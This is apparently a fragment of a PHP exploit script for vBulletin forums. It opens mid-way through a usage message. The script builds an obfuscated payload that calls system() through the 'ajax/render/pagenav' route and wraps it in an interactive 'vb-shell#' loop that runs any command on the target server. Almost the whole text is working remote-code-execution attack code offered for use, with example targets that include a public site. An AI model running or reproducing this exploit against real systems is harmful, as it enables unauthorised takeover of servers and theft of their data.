\n"; print "\nExample....: php $argv[0] http://localhost/vb/"; print "\nExample....: php $argv[0] https://vbulletin.com/\n\n"; die(); } function encodeChar($char) { $numbers = ['0' => '(0)', '1' => '(1)', '2' => '(2)', '3' => '(3)', '4' => '(4)', '5' => '(5)', '6' => '(6)', '7' => '(7)', '8' => '(8)', '9' => '(9)']; $char = strval(ord($char)); for ($i = 0; $i < strlen($char); $i++) $ret .= $numbers[$char[$i]] . '.'; return rtrim($ret, '.'); } function makePayload($function, $param) { $chr_fun = '((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))'; foreach (str_split($function) as $c) $ret .= $chr_fun . '(' . encodeChar($c) . ').'; $ret = "(" . rtrim($ret, '.') . ')(('; foreach (str_split($param) as $c) $ret .= $chr_fun . '(' . encodeChar($c) . ').'; return rtrim($ret, '.') . '))'; } $curl = curl_init(); $params = ["routestring" => "ajax/render/pagenav"]; curl_setopt($curl, CURLOPT_URL, $argv[1]); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false); //curl_setopt($curl, CURLOPT_PROXY, "http://127.0.0.1:8080"); while(1) { print "\nvb-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; $cmd .= "; echo _____"; $params["pagenav[pagenumber]"] = makePayload("system", $cmd); curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($params)); preg_match('/_____(.*)_____/s', curl_exec($curl), $m) ? print $m[1] : die("\n[+] Exploit failed!\n\n"); }